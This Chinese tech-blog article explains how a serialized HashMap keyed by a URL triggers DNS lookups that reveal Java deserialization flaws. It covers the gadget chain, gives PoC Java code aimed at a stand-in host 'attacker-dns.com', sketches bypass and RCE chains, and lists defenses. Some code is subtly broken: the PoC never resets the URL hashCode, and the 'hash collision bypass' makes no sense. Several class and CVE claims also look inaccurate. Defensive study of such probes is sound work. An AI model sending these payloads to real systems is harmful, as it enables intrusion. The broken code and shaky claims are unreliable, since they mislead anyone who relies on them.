怎么通过HashMap触发DNS检测Java反序列化漏洞

发布时间：2021-09-04 21:33:14 作者：chen
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# 怎么通过HashMap触发DNS检测Java反序列化漏洞

## 前言

Java反序列化漏洞自2015年FoxGlove Security团队公开以来，已成为Java安全领域的经典议题。其中利用`HashMap`触发DNS请求的技术因其隐蔽性和检测便利性，成为漏洞验证的常用手段。本文将深入剖析该技术的实现原理、利用条件及防御方案。

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## 一、Java反序列化漏洞基础

### 1.1 反序列化漏洞成因
当Java应用反序列化不可信数据时，会执行对象的`readObject()`方法。若攻击者精心构造恶意序列化数据，可能触发非预期的对象行为链（Gadget Chain），最终导致RCE、SSRF或DNS查询等副作用。

```java
// 典型漏洞代码示例
try (ObjectInputStream ois = new ObjectInputStream(untrustedInput)) {
    Object obj = ois.readObject(); // 危险的反序列化操作
}

1.2 漏洞利用关键条件

存在可利用的类（Gadget Class）
类路径中包含可触发危险行为的依赖库
反序列化入口点未做安全过滤

二、HashMap的独特利用价值

2.1 HashMap的序列化特性

HashMap实现了Serializable接口，其readObject()方法包含对键值对的特殊处理逻辑：

private void readObject(ObjectInputStream s) 
    throws IOException, ClassNotFoundException {
    // ...省略其他代码...
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false); // 关键点
    }
}

2.2 触发DNS的核心机制

当HashMap的key是URL或InetAddress等网络相关类时： 1. 反序列化过程中会调用key.hashCode() 2. 某些类的hashCode()会触发网络请求 3. 通过DNS日志即可确认漏洞存在

三、经典Gadget分析

3.1 URL类利用链

HashMap->hash(key)
  URL->hashCode()
    URLStreamHandler->hashCode()
      getHostAddress()  // 触发DNS查询

构造PoC代码：

HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://attacker-dns.com");
map.put(url, "test");

// 序列化map对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
byte[] payload = baos.toByteArray();

// 发送payload到目标服务

3.2 其他可利用类

类名	触发方式	依赖库
java.net.Inet4Address	getHostName()	JRE内置
javax.management.remote.rmi.RMIConnector	connect()	JMX
org.apache.xbean.naming.context.ContextUtil	lookup()	XBean

四、完整漏洞检测流程

4.1 环境准备

搭建DNS日志服务器（如DNSLog.cn）
获取目标反序列化入口点（RMI/JMS/HTTP等）

4.2 分步检测

sequenceDiagram
    Attacker->>Target: 发送恶意HashMap序列化数据
    Target->>DNS Server: 解析恶意域名
    DNS Server-->>Attacker: 记录查询日志

4.3 检测代码示例

public class HashMapDNSDetector {
    public static byte[] generatePayload(String dnsUrl) throws Exception {
        HashMap<URL, String> map = new HashMap<>();
        URL url = new URL(dnsUrl);
        map.put(url, "vulnerable");
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(map);
        return baos.toByteArray();
    }
}

五、绕过与高级利用技术

5.1 哈希冲突绕过

当目标使用HashTable等数据结构时，可通过精心构造哈希碰撞确保触发：

HashMap<URL, String> map = new HashMap<>();
URL url1 = new URL("http://dns1.example.com");
URL url2 = new URL("http://dns2.example.com");
// 设置相同hashCode
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url1, 123);
hashCodeField.set(url2, 123);

map.put(url1, "value1");
map.put(url2, "value2"); // 确保进入hashCode比较流程

5.2 结合其他Gadget

HashMap->AnnotationInvocationHandler->
  TemplatesImpl->getOutputProperties()
    // 最终实现RCE

六、防御方案

6.1 基础防护

// 使用白名单校验
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.util.HashMap;!java.net.URL");
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);

6.2 进阶方案

方案	实施要点
JEP 290过滤机制	JDK9+默认启用
替换序列化方案	使用JSON/ProtoBuf等替代
运行时防护	RASP检测危险类加载行为

七、实际案例研究

7.1 WebLogic CVE-2020-2555

攻击链：

HashMap->LimitFilter->toString()
  MethodExpression->invoke()
    // 实现JNDI注入

7.2 Jenkins CVE-2019-1003000

利用HashMap触发ScriptSecurity绕过，最终实现沙箱逃逸。

结语

通过HashMap触发DNS检测的技术虽然不能直接获取系统权限，但其作为漏洞存在的”探针”具有重要价值。安全研究人员应深入理解底层机制，开发更精准的检测工具。企业用户则需建立从开发到运维的全生命周期防护体系。

参考资源： 1. Oracle安全公告JEP-290 2. Java反序列化漏洞白皮书 3. ysoserial工具集 “`

注：本文为技术研究文档，仅限合法安全测试使用。实际执行需获得系统所有者授权，禁止用于非法用途。